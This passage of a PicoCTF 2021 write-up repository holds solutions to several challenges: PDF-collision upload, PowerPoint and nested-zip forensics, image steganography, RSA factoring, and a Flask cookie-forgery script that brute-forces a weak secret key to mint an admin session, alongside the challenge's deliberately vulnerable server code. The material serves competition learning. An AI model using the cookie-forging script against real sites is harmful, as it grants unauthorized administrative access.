37 | ```
38 | hello.exe
39 | erase.exe
40 | ```
41 | Simply change the file extension to `.pdf`. Upload to this beautiful website.
42 |
43 |
44 | 
45 |
46 |
47 |
48 | And then get the following result:
49 | ```php
50 |
89 |
90 |
91 |
92 |
93 | It is my Birthday
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
It is my Birthday
112 |
113 |
114 |
115 |
116 |
117 |
See if you are invited to my party!
118 |
119 |
120 |
121 |
122 |
135 |
136 |
137 |
138 |
141 |
142 |
143 |
144 |
151 |
152 |
153 |
154 | ```
155 |
156 | `picoCTF{c0ngr4ts_u_r_1nv1t3d_da36cc1b}` Here it is :)
--------------------------------------------------------------------------------
/It_is_my_birthday/erase.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/erase.pdf
--------------------------------------------------------------------------------
/It_is_my_birthday/hello.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/hello.pdf
--------------------------------------------------------------------------------
/It_is_my_birthday/website.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/It_is_my_birthday/website.png
--------------------------------------------------------------------------------
/MacroHard_WeakEdge/Forensics is fun.pptm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/MacroHard_WeakEdge/Forensics is fun.pptm
--------------------------------------------------------------------------------
/MacroHard_WeakEdge/README.md:
--------------------------------------------------------------------------------
1 | # MacroHard WeakEdge
2 |
3 | Category: Forensics
4 | AUTHOR: MADSTACKS
5 |
6 | **Diclaimer! None of the challenge files are mine!**
7 |
8 | ## Description
9 | ```
10 | I've hidden a flag in this file. Can you find it? Forensics is fun.pptm
11 | ```
12 |
13 | ## PowerPoint
14 |
15 | Now, here's the thing. If you've done `Weird File` (writeup [here](https://github.com/xnomas/PicoCTF-2021-Writeups/tree/main/Weird_File)) you already know that a PowerPoint file can be unzipped and it's contents looked through! Also, we have a big hint in the name of this challenge `Macro`. And to prove this, just run `binwalk`:
16 | ```
17 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved# binwalk Forensics\ is\ fun.pptm
18 |
19 | DECIMAL HEXADECIMAL DESCRIPTION
20 | --------------------------------------------------------------------------------
21 | 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 674, uncompressed size: 10660, name: [Content_Types].xml
22 | 1243 0x4DB Zip archive data, at least v2.0 to extract, compressed size: 259, uncompressed size: 738, name: _rels/.rels
23 | 2063 0x80F Zip archive data, at least v2.0 to extract, compressed size: 951, uncompressed size: 5197, name: ppt/presentation.xml
24 | 3064 0xBF8 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide46.xml.rels
25 | 3316 0xCF4 Zip archive data, at least v2.0 to extract, compressed size: 688, uncompressed size: 1740, name: ppt/slides/slide1.xml
26 | 4055 0xFD7 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide2.xml
27 | 4763 0x129B Zip archive data, at least v2.0 to extract, compressed size: 659, uncompressed size: 1681, name: ppt/slides/slide3.xml
28 | 5473 0x1561 Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1682, name: ppt/slides/slide4.xml
29 | 6181 0x1825 Zip archive data, at least v2.0 to extract, compressed size: 658, uncompressed size: 1682, name: ppt/slides/slide5.xml
30 | ...
31 | ...
32 | 43914 0xAB8A Zip archive data, at least v2.0 to extract, compressed size: 657, uncompressed size: 1681, name: ppt/slides/slide58.xml
33 | 44623 0xAE4F Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide47.xml.rels
34 | ...
35 | 47899 0xBB1B Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide13.xml.rels
36 | 48151 0xBC17 Zip archive data, at least v2.0 to extract, compressed size: 646, uncompressed size: 8783, name: ppt/_rels/presentation.xml.rels
37 | 49122 0xBFE2 Zip archive data, at least v2.0 to extract, compressed size: 192, uncompressed size: 311, name: ppt/slides/_rels/slide1.xml.rels
38 | ...
39 | 59700 0xE934 Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 311, name: ppt/slides/_rels/slide45.xml.rels
40 | 59952 0xEA30 Zip archive data, at least v2.0 to extract, compressed size: 2063, uncompressed size: 13875, name: ppt/slideMasters/slideMaster1.xml
41 | 62078 0xF27E Zip archive data, at least v2.0 to extract, compressed size: 1281, uncompressed size: 4678, name: ppt/slideLayouts/slideLayout1.xml
42 | ...
43 | 75061 0x12535 Zip archive data, at least v2.0 to extract, compressed size: 1187, uncompressed size: 4200, name: ppt/slideLayouts/slideLayout11.xml
44 | 76312 0x12A18 Zip archive data, at least v2.0 to extract, compressed size: 277, uncompressed size: 1991, name: ppt/slideMasters/_rels/slideMaster1.xml.rels
45 | 76663 0x12B77 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout1.xml.rels
46 | ...
47 | 79284 0x135B4 Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 311, name: ppt/slideLayouts/_rels/slideLayout11.xml.rels
48 | 79547 0x136BB Zip archive data, at least v2.0 to extract, compressed size: 1732, uncompressed size: 8399, name: ppt/theme/theme1.xml
49 | 81329 0x13DB1 Zip archive data, at least v1.0 to extract, compressed size: 2278, uncompressed size: 2278, name: docProps/thumbnail.jpeg
50 | 83660 0x146CC Zip archive data, at least v2.0 to extract, compressed size: 2222, uncompressed size: 7168, name: ppt/vbaProject.bin
51 | 85930 0x14FAA Zip archive data, at least v2.0 to extract, compressed size: 397, uncompressed size: 818, name: ppt/presProps.xml
52 | 86374 0x15166 Zip archive data, at least v2.0 to extract, compressed size: 387, uncompressed size: 811, name: ppt/viewProps.xml
53 | 86808 0x15318 Zip archive data, at least v2.0 to extract, compressed size: 172, uncompressed size: 182, name: ppt/tableStyles.xml
54 | 87029 0x153F5 Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 666, name: docProps/core.xml
55 | 87682 0x15682 Zip archive data, at least v2.0 to extract, compressed size: 556, uncompressed size: 3784, name: docProps/app.xml
56 | 88548 0x159E4 Zip archive data, at least v2.0 to extract, compressed size: 81, uncompressed size: 99, name: ppt/slideMasters/hidden
57 | 100071 0x186E7 End of Zip archive, footer length: 22
58 |
59 | ```
60 | The output is really big, so I shortened it. Hmm... notice anything peculiar?
61 |
62 | ### Extracting and snooping
63 | ```bash
64 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls
65 | 'Forensics is fun.pptm'
66 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# 7z x Forensics\ is\ fun.pptm
67 |
68 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
69 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
70 |
71 | Scanning the drive for archives:
72 | 1 file, 100093 bytes (98 KiB)
73 |
74 | Extracting archive: Forensics is fun.pptm
75 | --
76 | Path = Forensics is fun.pptm
77 | Type = zip
78 | Physical Size = 100093
79 |
80 | Everything is Ok
81 |
82 | Files: 153
83 | Size: 237329
84 | Compressed: 100093
85 | ```
86 | Awesome! Now we can just look through it.
87 | ```bash
88 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# ls -la *
89 | -rw-r--r-- 1 root root 10660 Dec 31 1979 '[Content_Types].xml'
90 | -rw-r--r-- 1 root root 100093 Mar 30 12:59 'Forensics is fun.pptm'
91 |
92 | docProps:
93 | total 20
94 | drwx------ 2 root root 4096 Mar 30 12:59 .
95 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..
96 | -rw-r--r-- 1 root root 3784 Dec 31 1979 app.xml
97 | -rw-r--r-- 1 root root 666 Dec 31 1979 core.xml
98 | -rw-r--r-- 1 root root 2278 Dec 31 1979 thumbnail.jpeg
99 |
100 | ppt:
101 | total 56
102 | drwx------ 7 root root 4096 Mar 30 12:59 .
103 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..
104 | -rw-r--r-- 1 root root 5197 Dec 31 1979 presentation.xml
105 | -rw-r--r-- 1 root root 818 Dec 31 1979 presProps.xml
106 | drwx------ 2 root root 4096 Mar 30 12:59 _rels
107 | drwx------ 3 root root 4096 Mar 30 12:59 slideLayouts
108 | drwx------ 3 root root 4096 Mar 30 12:59 slideMasters
109 | drwx------ 3 root root 4096 Mar 30 12:59 slides
110 | -rw-r--r-- 1 root root 182 Dec 31 1979 tableStyles.xml
111 | drwx------ 2 root root 4096 Mar 30 12:59 theme
112 | -rw-r--r-- 1 root root 7168 Dec 31 1979 vbaProject.bin
113 | -rw-r--r-- 1 root root 811 Dec 31 1979 viewProps.xml
114 |
115 | _rels:
116 | total 12
117 | drwx------ 2 root root 4096 Mar 30 12:59 .
118 | drwxr-xr-x 5 root root 4096 Mar 30 12:59 ..
119 | -rw-r--r-- 1 root root 738 Dec 31 1979 .rels
120 |
121 | ```
122 | Just confirming the file structure that `binwalk` provided. Now! What did you see in tha big output? I saw this: `ppt/vbaProject.bin`, `ppt/slideMasters/hidden`. Time to check these out!
123 |
124 | ## Macro (Hard)
125 |
126 | ```bash
127 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# strings ppt/vbaProject.bin
128 | VBAProje
129 | stdole>
130 | *\G{00
131 | 020430-
132 | 6}#2.0#0
133 | #C:\Wind
134 | ows\Syst em32\
135 | tlb#OLE
136 | Automati
137 | EOffDic
138 | 2DF8D04C
139 | -5BFA-10
140 | 1B-BDE5
141 | gram Fil
142 | es\Commo
143 | Micros
144 | oft Shar
145 | ed\OFFIC
146 | E16\MSO.0DLL#
147 | M 1@6.0 Ob
148 | Library
149 | ule1G
150 | sorry_but_this_isn't_it
151 | ...
152 | ```
153 | Oh? It's not? Well no worries, we still have the second file to look through.
154 |
155 | ## Weak (Edge)
156 |
157 | ```bash
158 | root@kali:~/CTFs/Picoctf-2021/macrohard_weakedge-solved/writeup# cat ppt/slideMasters/hidden
159 | Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q
160 | ```
161 | Riiiight.. well looking at it, this string looks like base64.
162 |
163 | ## Flag
164 |
165 | I just replaced the spaces with nothing in SublimeText. `ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ` looks even more like base64, doesn't it?
166 |
167 | ```bash
168 | echo ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ | base64 -d
169 | flag: picoCTF{D1d_u_kn0w_ppts_r_z1p5}base64: invalid input
170 | ```
171 | Awesome!
172 |
--------------------------------------------------------------------------------
/Matryoshka_doll/README.md:
--------------------------------------------------------------------------------
1 | # Matryoshka Doll
2 |
3 | Category: Forensics
4 | AUTHOR: SUSIE/PANDU
5 |
6 | ## Description
7 | ```
8 | Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another.
9 | What's the final one? Image: this
10 | ```
11 |
12 | ## The file
13 |
14 | What's inside? By now you should know the gist of it: `file`, `binwalk`, `strings` (maybe), `hexeditor`
15 | ```bash
16 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# file dolls.jpg
17 | dolls.jpg: PNG image data, 594 x 1104, 8-bit/color RGBA, non-interlaced
18 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# binwalk dolls.jpg
19 |
20 | DECIMAL HEXADECIMAL DESCRIPTION
21 | --------------------------------------------------------------------------------
22 | 0 0x0 PNG image, 594 x 1104, 8-bit/color RGBA, non-interlaced
23 | 3226 0xC9A TIFF image data, big-endian, offset of first image directory: 8
24 | 272492 0x4286C Zip archive data, at least v2.0 to extract, compressed size: 378952, uncompressed size: 383937, name: base_images/2_c.jpg
25 | 651610 0x9F15A End of Zip archive, footer length: 22
26 |
27 | ```
28 | Right, so we can stop right here... There is a zip archive hidden inside the image!
29 |
30 | ## Extracting
31 |
32 | ```bash
33 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# 7z x dolls.jpg
34 |
35 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
36 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
37 |
38 | Scanning the drive for archives:
39 | 1 file, 651632 bytes (637 KiB)
40 |
41 | Extracting archive: dolls.jpg
42 | --
43 | Path = dolls.jpg
44 | Type = zip
45 | Offset = 272492
46 | Physical Size = 379140
47 |
48 | Everything is Ok
49 |
50 | Size: 383937
51 | Compressed: 651632
52 | ```
53 | Great, we extracted it! What's inside?
54 | ```bash
55 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images# ls
56 | 2_c.jpg
57 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images# binwalk 2_c.jpg
58 |
59 | DECIMAL HEXADECIMAL DESCRIPTION
60 | --------------------------------------------------------------------------------
61 | 0 0x0 PNG image, 526 x 1106, 8-bit/color RGBA, non-interlaced
62 | 3226 0xC9A TIFF image data, big-endian, offset of first image directory: 8
63 | 187707 0x2DD3B Zip archive data, at least v2.0 to extract, compressed size: 196042, uncompressed size: 201444, name: base_images/3_c.jpg
64 | 383804 0x5DB3C End of Zip archive, footer length: 22
65 | 383915 0x5DBAB End of Zip archive, footer length: 22
66 |
67 | ```
68 | Oh lovely... another one. To be expected with matryoshka dolls.
69 | ```bash
70 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved/base_images/base_images# ls base_images
71 | 3_c.jpg
72 | ```
73 | Now instead of going through it manually, I wrote a bash script.
74 |
75 | ## Bash script
76 |
77 | ```bash
78 | #!/bin/bash
79 |
80 | check_dir(){
81 | if [ -d "base_images" ]; then
82 | cd "base_images"
83 | return 0
84 | else
85 | return 1
86 | fi
87 | }
88 |
89 | check_for_zip() {
90 | if binwalk "$1" | grep "Zip" > /dev/null ; then
91 | 7z x "$1"
92 | return 0
93 | fi
94 | return 1
95 | }
96 |
97 | check_for_zip "$1"
98 |
99 | check_dir
100 |
101 | for i in {2..20}
102 | do
103 | if check_for_zip $i"_c.jpg"; then
104 | if check_dir; then
105 | echo "in" $i"_c.jpg"
106 | else
107 | echo "done"
108 | cat flag.txt
109 | break
110 | fi
111 | fi
112 | done
113 | ```
114 | Now run and watch it finish:
115 | ```bash
116 | root@kali:~/CTFs/Picoctf-2021/matryoshka_doll-solved# ./solve.sh dolls.jpg
117 |
118 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
119 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
120 |
121 | Scanning the drive for archives:
122 | 1 file, 651632 bytes (637 KiB)
123 |
124 | Extracting archive: dolls.jpg
125 | --
126 | Path = dolls.jpg
127 | Type = zip
128 | Offset = 272492
129 | Physical Size = 379140
130 |
131 | Everything is Ok
132 |
133 | Size: 383937
134 | Compressed: 651632
135 |
136 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
137 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
138 |
139 | Scanning the drive for archives:
140 | 1 file, 383937 bytes (375 KiB)
141 |
142 | Extracting archive: 2_c.jpg
143 | --
144 | Path = 2_c.jpg
145 | Type = zip
146 | Offset = 187707
147 | Physical Size = 196230
148 |
149 | Everything is Ok
150 |
151 | Size: 201444
152 | Compressed: 383937
153 | in 2_c.jpg
154 |
155 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
156 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
157 |
158 | Scanning the drive for archives:
159 | 1 file, 201444 bytes (197 KiB)
160 |
161 | Extracting archive: 3_c.jpg
162 | --
163 | Path = 3_c.jpg
164 | Type = zip
165 | Offset = 123606
166 | Physical Size = 77838
167 |
168 | Everything is Ok
169 |
170 | Size: 79807
171 | Compressed: 201444
172 | in 3_c.jpg
173 |
174 | 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
175 | p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI)
176 |
177 | Scanning the drive for archives:
178 | 1 file, 79807 bytes (78 KiB)
179 |
180 | Extracting archive: 4_c.jpg
181 | --
182 | Path = 4_c.jpg
183 | Type = zip
184 | Offset = 79578
185 | Physical Size = 229
186 |
187 | Everything is Ok
188 |
189 | Size: 81
190 | Compressed: 79807
191 | done
192 | picoCTF{96fac089316e094d41ea046900197662}
193 | ```
194 | That was fun!
--------------------------------------------------------------------------------
/Milkslap/README.md:
--------------------------------------------------------------------------------
1 | # Milkslap
2 |
3 | Category: Forensics
4 | AUTHOR: JAMES LYNCH
5 |
6 | **Disclaimer! I do not own any of the challenge files!**
7 |
8 | ## Description
9 | ```
10 | 🥛
11 | ```
12 |
13 | ## The link
14 |
15 | Yes, that glass of milk is a link. Which shows this:
16 |
17 |
18 | 
19 |
20 |
21 |
22 | Right, so a gif. Viewed the source:
23 | ```html
24 |
25 |
26 |
27 |
28 |
29 |
30 | 🥛
31 |
32 |
33 |
34 |
35 |
36 |
41 |
45 |
46 |
47 | ```
48 | Nothing much, it's probably in the CSS:
49 | ```
50 | /* source: milkslap-milkslap.scss */
51 | body {
52 | margin: 0;
53 | padding: 0;
54 | overflow: hidden; }
55 |
56 | a {
57 | color: inherit; }
58 |
59 | .center {
60 | width: 1080px;
61 | height: 720px;
62 | margin: 0 auto; }
63 |
64 | #image {
65 | height: 720px;
66 | margin-top: 5%;
67 | margin-bottom: 20px;
68 | background-image: url(concat_v.png);
69 | background-position: 0 0; }
70 |
71 | #foot {
72 | margin-bottom: 5px;
73 | color: #999999; }
74 | #foot h1 {
75 | font-family: serif;
76 | font-weight: normal;
77 | font-size: 1rem;
78 | text-align: center; }
79 | ```
80 | Yes it is! `http://mercury.picoctf.net:29522/concat_v.png`
81 |
82 | So not a gif, just concated images. Nice. What can we do with this?
83 |
84 | ## Stego
85 |
86 | So some file identification:
87 | ```bash
88 | root@kali:~/CTFs/Picoctf-2021/milkslap-solved# file concat_v.png
89 | concat_v.png: PNG image data, 1280 x 47520, 8-bit/color RGB, non-interlaced
90 | root@kali:~/CTFs/Picoctf-2021/milkslap-solved# binwalk concat_v.png
91 |
92 | DECIMAL HEXADECIMAL DESCRIPTION
93 | --------------------------------------------------------------------------------
94 | 41 0x29 Zlib compressed data, default compression
95 | 3210141 0x30FB9D MySQL ISAM compressed data file Version 2
96 | ```
97 | Turns out, that binwalk was just confused. It's okay, we've all been there. Since I'm not very good at stego, I looked up John Hammond's repo [ctf-katana](https://github.com/JohnHammond/ctf-katana#steganography) and just went through the tools, some I already installed and could test, some did not work for `.png` files. But one solved it.
98 |
99 | ## zsteg
100 |
101 | zsteg is a ruby based tool (available [here](https://github.com/zed-0xff/zsteg)). Install with `gem install zsteg` and run like so:
102 | ```
103 | zsteg -s first concat_v.png
104 |
105 | imagedata .. text: "\n\n\n\n\n\n\t\t"
106 | b1,b,lsb,xy .. text: "picoCTF{imag3_m4n1pul4t10n_sl4p5}\n" <--
107 | b1,bgr,lsb,xy ..
108 | b2,r,lsb,xy .. file: SoftQuad DESC or font file binary
109 | b2,r,msb,xy .. file: VISX image file
110 | b2,g,lsb,xy .. file: VISX image file
111 | b2,g,msb,xy .. file: SoftQuad DESC or font file binary - version 15722
112 | b2,b,msb,xy .. text: "UfUUUU@UUU"
113 | b4,r,lsb,xy .. text: "\"\"\"\"\"#4D"
114 | b4,r,msb,xy .. text: "wwww3333"
115 | b4,g,lsb,xy .. text: "wewwwwvUS"
116 | b4,g,msb,xy .. text: "\"\"\"\"DDDD"
117 | b4,b,lsb,xy .. text: "vdUeVwweDFw"
118 | b4,b,msb,xy .. text: "UUYYUUUUUUUU"
119 | ```
120 | There it is :)
--------------------------------------------------------------------------------
/Milkslap/slap.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Milkslap/slap.png
--------------------------------------------------------------------------------
/Mind_Your_Ps_and_Qs/README.md:
--------------------------------------------------------------------------------
1 | # Mind your Ps and Qs
2 |
3 | Category: Cryptography
4 | AUTHOR: SARA
5 |
6 | ## Description
7 | ```
8 | In RSA, a small e value can be problematic, but what about N? Can you decrypt this?
9 | ```
10 |
11 | ## Values
12 |
13 | We have been given the following values:
14 | ```
15 | Decrypt my super sick RSA:
16 | c: 843044897663847841476319711639772861390329326681532977209935413827620909782846667
17 | n: 1422450808944701344261903748621562998784243662042303391362692043823716783771691667
18 | e: 65537
19 | ```
20 | C is the ciphertext we wish to decode. N is the result of multiplying two prime numbers p and q, ie. `n = p * q`. E is the multiplicative inverse of a private exponent `d` modulo `phi`. Phi is equal to `(p-1)*(q-1)`. Here in a more ordered fashion:
21 | ```
22 | C = ciphertext
23 | p and q = prime numbers
24 | n = p * q
25 | phi = (p-1) * (q-1)
26 | e = some number that 1 < e < phi and gcd(e,phi) == 1
27 | d = e^(-1) mod phi
28 | ```
29 | Great! Now we just need to find p and q...
30 |
31 | ## Factor db
32 |
33 | [Factordb](http://factordb.com/) is a database of factorised numbers. We could try out n:
34 | ```
35 | n = 2159947535959146091116171018558446546179 * 658558036833541874645521278345168572231473
36 | ```
37 | Awesome! Now we can just calculate.
38 |
39 | ## Solving
40 |
41 | ```py
42 | from Crypto.Util.number import inverse, long_to_bytes
43 |
44 | c = 843044897663847841476319711639772861390329326681532977209935413827620909782846667
45 | n = 1422450808944701344261903748621562998784243662042303391362692043823716783771691667
46 | e = 65537
47 | p = 2159947535959146091116171018558446546179
48 | q = 658558036833541874645521278345168572231473
49 |
50 | phi = (p-1)*(q-1)
51 |
52 | d = inverse(e, phi)
53 |
54 | m = pow(c,d,n)
55 |
56 | print(long_to_bytes(m))
57 | ```
58 | ```bash
59 | python3 solve.py
60 | b'picoCTF{sma11_N_n0_g0od_00264570}'
61 | ```
62 | There we go!
--------------------------------------------------------------------------------
/Mind_Your_Ps_and_Qs/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import inverse, long_to_bytes
2 |
3 | c = 843044897663847841476319711639772861390329326681532977209935413827620909782846667
4 | n = 1422450808944701344261903748621562998784243662042303391362692043823716783771691667
5 | e = 65537
6 | p = 2159947535959146091116171018558446546179
7 | q = 658558036833541874645521278345168572231473
8 |
9 | phi = (p-1)*(q-1)
10 |
11 | d = inverse(e, phi)
12 |
13 | m = pow(c,d,n)
14 |
15 | print(long_to_bytes(m))
16 |
17 |
--------------------------------------------------------------------------------
/Mind_Your_Ps_and_Qs/values:
--------------------------------------------------------------------------------
1 | Decrypt my super sick RSA:
2 | c: 843044897663847841476319711639772861390329326681532977209935413827620909782846667
3 | n: 1422450808944701344261903748621562998784243662042303391362692043823716783771691667
4 | e: 65537
5 |
6 | on factordb
7 | p: 2159947535959146091116171018558446546179
8 | q: 658558036833541874645521278345168572231473
--------------------------------------------------------------------------------
/Most_Cookies/README.md:
--------------------------------------------------------------------------------
1 | # Most Cookies
2 |
3 | Category: Web Exploitation
4 | AUTHOR: MADSTACKS
5 |
6 | ## Description
7 | ```
8 | Alright, enough of using my own encryption. Flask session cookies should be plenty secure
9 | ```
10 |
11 | ## The how to
12 |
13 | We received the server source code. The most important part for us is the server list of secret keys:
14 | ```py
15 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap",
16 | "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss",
17 | "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel",
18 | "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie",
19 | "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
20 | ```
21 | Cookies! Yum. Now again, for the sake of transparency. After some googling around I came by this [article](https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce).
22 |
23 | The source code used there is exactly what is needed to solve this challenge. And unlike the author (Luke Paris, great job) we don't have to scrape for the secret keys:
24 | ```py
25 | import flask
26 | import hashlib
27 |
28 | from sys import argv
29 | from flask.json.tag import TaggedJSONSerializer
30 | from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature
31 |
32 | cookie = argv[1]
33 |
34 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap",
35 | "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss",
36 | "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel",
37 | "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie",
38 | "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
39 |
40 | real_secret = ''
41 |
42 | for secret in cookie_names:
43 | try:
44 | serializer = URLSafeTimedSerializer(
45 | secret_key=secret,
46 | salt='cookie-session',
47 | serializer=TaggedJSONSerializer(),
48 | signer=TimestampSigner,
49 | signer_kwargs={
50 | 'key_derivation' : 'hmac',
51 | 'digest_method' : hashlib.sha1
52 | }).loads(cookie)
53 | except BadSignature:
54 | continue
55 |
56 | print(f'Secret key: {secret}')
57 | real_secret = secret
58 |
59 | session = {'very_auth' : 'admin'}
60 |
61 | print(URLSafeTimedSerializer(
62 | secret_key=real_secret,
63 | salt='cookie-session',
64 | serializer=TaggedJSONSerializer(),
65 | signer=TimestampSigner,
66 | signer_kwargs={
67 | 'key_derivation' : 'hmac',
68 | 'digest_method' : hashlib.sha1
69 | }
70 | ).dumps(session))
71 |
72 | ```
73 | Then I just got the cookie that was set by the server and ran like this:
74 | ```bash
75 | python3 solve.py eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YGDN9Q.OQfLsrc3CI1o1FnNcfKIritiSiU
76 | Secret key: chocolate chip
77 | eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YGDOnQ.7XmRCoG9kNKi2lcgJ11-PXB2SBo
78 | ```
79 | Change your cookie value or send a request through python:
80 |
81 |
82 | 
83 |
84 |
--------------------------------------------------------------------------------
/Most_Cookies/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xnomas/PicoCTF-2021-Writeups/efe24043674b05bc524142d193a3d70ab2c4f148/Most_Cookies/flag.png
--------------------------------------------------------------------------------
/Most_Cookies/server.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
2 | import random
3 | app = Flask(__name__)
4 | flag_value = open("./flag").read().rstrip()
5 | title = "Most Cookies"
6 | cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
7 | app.secret_key = random.choice(cookie_names)
8 |
9 | @app.route("/")
10 | def main():
11 | if session.get("very_auth"):
12 | check = session["very_auth"]
13 | if check == "blank":
14 | return render_template("index.html", title=title)
15 | else:
16 | return make_response(redirect("/display"))
17 | else:
18 | resp = make_response(redirect("/"))
19 | session["very_auth"] = "blank"
20 | return resp
21 |
22 | @app.route("/search", methods=["GET", "POST"])
23 | def search():
24 | if "name" in request.form and request.form["name"] in cookie_names:
25 | resp = make_response(redirect("/display"))
26 | session["very_auth"] = request.form["name"]
27 | return resp
28 | else:
29 | message = "That doesn't appear to be a valid cookie."
30 | category = "danger"
31 | flash(message, category)
32 | resp = make_response(redirect("/"))
33 | session["very_auth"] = "blank"
34 | return resp
35 |
36 | @app.route("/reset")
37 | def reset():
38 | resp = make_response(redirect("/"))
39 | session.pop("very_auth", None)
40 | return resp
41 |
42 | @app.route("/display", methods=["GET"])
43 | def flag():
44 | if session.get("very_auth"):
45 | check = session["very_auth"]
46 | if check == "admin":
47 | resp = make_response(render_template("flag.html", value=flag_value, title=title))
48 | return resp
49 | flash("That is a cookie! Not very special though...", "success")
50 | return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
51 | else:
52 | resp = make_response(redirect("/"))
53 | session["very_auth"] = "blank"
54 | return resp
55 |
56 | if __name__ == "__main__":
57 | app.run()
58 |
59 |
--------------------------------------------------------------------------------
/New_caesar/README.md:
--------------------------------------------------------------------------------
1 | # New caesar
2 |
3 | Category: Cryptography
4 | AUTHOR: MADSTACKS
5 |
